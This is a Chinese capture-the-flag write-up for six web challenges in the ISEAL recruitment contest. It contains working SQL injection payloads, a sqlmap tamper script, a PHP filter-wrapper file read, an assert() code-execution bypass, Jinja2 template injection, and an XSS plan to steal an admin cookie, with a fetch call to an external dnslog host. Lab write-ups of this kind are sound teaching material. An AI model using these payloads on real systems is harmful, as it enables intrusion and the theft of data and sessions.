ISEAL招新赛-WP-Plazx-Web

ISEAL ON TOP!!!!!

baby_include

`#php伪协议`
1
2
3
4
5
6
7
8
<?php
highlight_file(__file__);
error_reporting(0); //flag in flag.php
$file=$_GET['file'];
if (isset($file)) {
include($file);
} //hint:do you know php include?
?>

一眼php伪协议 php://filter/read=convert.base64-encode/resource=flag.php秒了

Frontend Bypass

`#前端`

从侧边栏打开开发者工具即可



不让粘贴,好,那么看看数据包

发现是Post传入,那么直接发包即可

前端验证长度,修改一下前端源码即可

继续改

fail…..好吧,把js禁了即可bypass

发现按钮会乱跑!改前端发现没什么用,直接修改浏览器限制范围

前端js如下

下面提取出来的就是一串js特有的十六进制字符串,解码一下即可

1
2
var x = ["加密的代码"]
x.forEach(item => console.log(item))

高数题库

`#SQLI #Bypass`

前排提示,所有的字符过滤(疑似正则匹配过滤)均可通过大写绕过

丢单引号报错

但是显示是双引号闭合,不管了,先注入再说

成功,证明是两列,感觉有回显位,试试union problem_id=-1' Union Select 1,2 --+ 改为-1 不能忘了,因为要让正常的不能回显

成功了,无脑流程走一遍,这个千万不能忘了,当然这个是mysql注入特有的,如果在实战场景下这些函数无法使用,可能数据库并非是mysql,需要变换函数(ctf里面我只遇见过mysql)

  1. version()——MySQL 版本 数据库版本 10.4.13-MariaDB MariaDB<font style="color:rgb(51, 51, 51);background-color:rgb(244, 244, 244);"> </font>是mysql的分支
  2. user()——数据库用户名 当前用户 root@localhost
  3. database()——数据库名 当前数据库 math
  4. @@datadir——数据库路径 数据库地址 /var/lib/mysql/
  5. @@version_compile_os——操作系统版本 操作系统版本 Linux

下面开始注入

查所有的数据库

`problem_id=-1' Union Select 1,**(Select group_concat(schema_name) From infoRmation_schema.schemata)** --+`

回显 information_schema,performance_schema,mysql,test,math

查数据库里面的表名

`problem_id=-1' Union Select 1,**(Select group_concat(table_name) From infoRmation_schema.tables Where table_schema='math')** --+`

发现=被过滤了 故考虑用 like 来代替

problem_id=-1' Union Select 1,**(Select group_concat(table_name) From infoRmation_schema.tables Where table_schema like 'math')** --+

或者是字符串转16进制绕过 math--->0x6d617468

problem_id=-1' Union Select 1,**(Select group_concat(table_name) From infoRmation_schema.tables Where table_schema > 0x6d617467 And table_schema < 0x6d617469)** --+

math 里面的库名是ctf,problems,secrets

查表的列名

`Union Select 1,**(Select group_concat(column_name) From infoRmation_schema.columns Where table_schema like 'math' And table_name like 'ctf') --+**`

这里限定了数据库和表名

爆数据

`problem_id=-1' Union Select 1,(Select group_concat(id,':',f14g,':',fake_flag) From math.ctf) --+`

除了手注以外的方法

自研sqlmap脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL


keywords = ["select", "union", "and", "or", "from", "where", "information_schema"]

def tamper(payload, **kwargs):

if payload:
for keyword in keywords:
payload = payload.replace(keyword, keyword.upper())

payload = payload.replace("=", " LIKE ")

return payload

加上参数 --tamper=1waf.py跑即可

后续想搞一个全自动fuzz的脚本,多种过滤全自动匹配

写shell

mysql写sql的方法很多,暂且不表,这里写入shell,可以选择蚁剑连接,有时候出题者会把连接配置文件写在网站路径下,那样就可以直接连接了

这里权限太低了,而且没想到好的利用方法

任意文件读取

maybe_rce

`#奇葩php审计`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php 
highlight_file(__FILE__);
error_reporting(0);
echo("<br>"."你以为自己能RCE吗?"."<br>");
$u=$_GET['u_would.answer'];
if (!isset($u))
$u="勝つさ";
echo("你的回复:".$u."<br>");
if ($u!=="San Ge Zi")
die("不是高情商回复还想RCE我?"."<br>");
echo("你做到了!但是你得RCE我才能拿到flag!哈哈"."<br>");
$i=$_GET['i_will_say'];
echo("出题人说:".$i."<br>");
assert("$i == $u");
?>
你以为自己能RCE吗?
你的回复:勝つさ
不是高情商回复还想RCE我?

第一处发现根本传不进去参数,搞了半天还以为是环境坏了,然后就在网上去查

https://blog.csdn.net/bin789456/article/details/120305682

应该是这个考点,所以我们不妨把_改为%5b实现绕过,反正都会解析为_,成功了,但是为什么不能直接传入_呢

第二处 assert是把字符串当作php代码执行,类似eval,但是又插入一个司马的判断

直接给他注释掉,例如%23 或者是 //但是#不行

原神查询器

`#ssti&bypass`

开局一个查询框,后端python,框架是flask,初步判断是ssti,简单测试一下

{{8*8}}

稳了 是Jinja2的ssti,但是我ssti的课程只看了一节课,从网上找了个exp打一下

有戏,但是光速被waf打败

估计是过滤了空格,尝试一些网上的方法,都失败了

最后试了半天,最后以十六进制bypass(tac /flag以十六进制编码)

ez_math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import requests
import re
import time

# 远程地址和相关配置
base_url = "http://172.17.38.134:9168/quiz.php"
cookies = {"PHPSESSID": "834a378d6bcb732d17c4e60db4d19834"}

# 自定义请求头
headers = {
"Host": "172.17.38.134:9168",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36",
"Content-Type": "application/json",
"Accept": "*/*",
"Origin": "http://172.17.38.134:9168",
"Referer": "http://172.17.38.134:9168/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"
}

# 获取问题
def generate_question():
response = requests.get(f"{base_url}?action=generate", cookies=cookies)
response_data = response.json()
return response_data

# 计算表达式
def calculate_expression(expression):
expression = expression.replace('÷', '/') # 替换中文除法符号
cleaned_expression = re.sub(r'[^0-9+\-*/().]', '', expression)
try:
result = eval(cleaned_expression)
return int(result) if result.is_integer() else round(result, 2)
except Exception as e:
print(f"计算错误: {e}")
return None

# 提交答案
def submit_answer(answer):
payload = {"answer": str(answer)}
response = requests.post(f"{base_url}?action=submit", json=payload, headers=headers, cookies=cookies)
return response.json()

# 主函数
def main():
for i in range(1000): # 循环1000次
print(f"第 {i + 1} 次尝试:")

# 获取问题
question_data = generate_question()
question_text = question_data.get('question', '')
print(f"问题: {question_text}")

# 提取和计算表达式
expression = re.search(r'[\d\+\-\*/÷\s]+', question_text)
if expression:
expression = expression.group()
print(f"提取的表达式: {expression}")
answer = calculate_expression(expression)
print(f"计算出的答案: {answer}")

# 提交答案
if answer is not None:
result = submit_answer(answer)
print(f"提交结果: {result}")
else:
print("计算失败,无法提交答案。")
else:
print("未找到有效的算术表达式。")

# 防止过快请求,增加适当的间隔
time.sleep(0.5) # 间隔0.5秒

if __name__ == "__main__":
main()

不喜欢这种题目,和web安全没什么关系,就是让你写脚本,但是注意让ai写的时候要给他具体的数据包,不然老是写错,而且要描述清楚

admin

`#node.js审计` `#xss`

这是我第一次做xss的题目,还是生疏了,平时只会乱插,最近得好好补一补这块知识

给了源码,先看一下 bot.js中定义了一个方法

1
2
3
4
5
6
let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag });
await page.setCookie({
name: 'session',
value: token,
domain: '127.0.0.1:5000'
});

flag就在cookie中,那么我们只要写个xss上线管理员cookie即可

随便写了一个,发现返回包中存在Content-Security-Policy,即CSP策略,一种白名单功能

https://csp-evaluator.withgoogle.com/ 把csp放进入,让他来检测

script-src 'self' https://cdn.jsdelivr.net ; 这一行代表我们执行的js代码只能来源于https://cdn.jsdelivr.net

这好办,把我们的代码上传github再通过jsdelivr托管一下即可,具体方法网上可查

首先探测一下出不出网,利用 fetch("https://2v8pxl.dnslog.cn")然后再拖cookie

jwt解一下出flag

总结

~~出题人,我好喜欢你啊~~

好菜啊,好多东西都不知道,慢慢来吧